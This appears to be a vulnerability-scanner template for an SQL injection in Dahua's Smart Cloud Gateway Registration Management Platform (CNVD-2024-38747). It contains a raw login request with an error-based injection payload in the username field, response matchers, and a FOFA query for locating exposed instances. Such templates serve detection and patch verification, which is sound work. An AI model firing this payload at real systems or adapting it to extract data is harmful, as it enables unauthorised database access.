id: CNVD-2024-38747

info:
  name: Zhejiang Dahua Smart Cloud Gateway Registration Platform - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Zhejiang Dahua Technology Co., Ltd. Smart Cloud Gateway Registration Management Platform has a SQL injection vulnerability, which can be exploited by attackers to obtain sensitive database information.
  reference:
    - https://blog.csdn.net/qq_39894062/article/details/142982815
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="智能云网关注册管理平台"
  tags: cnvd,cnvd2024,sqli,dahua,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php/User/doLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username=1')and+updatexml(1,concat(0x7e,md5({{num}}),0x7e),1)--+&password=

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"md5({{num}})", "XPATH syntax error")'
          - 'status_code == 404'
        condition: and
# digest: 490a0046304402203208a4ddfcb6e5914af2a9e3e6cc8f42a8a7cf7d7e97dd70f39cbdfe11f830a302201c16ab5572bdd8ee1f0d73ab17b4cfcc84e4caaa8514ed113ac64fa73866234d:922c64590222798bb761d5b6d8e72950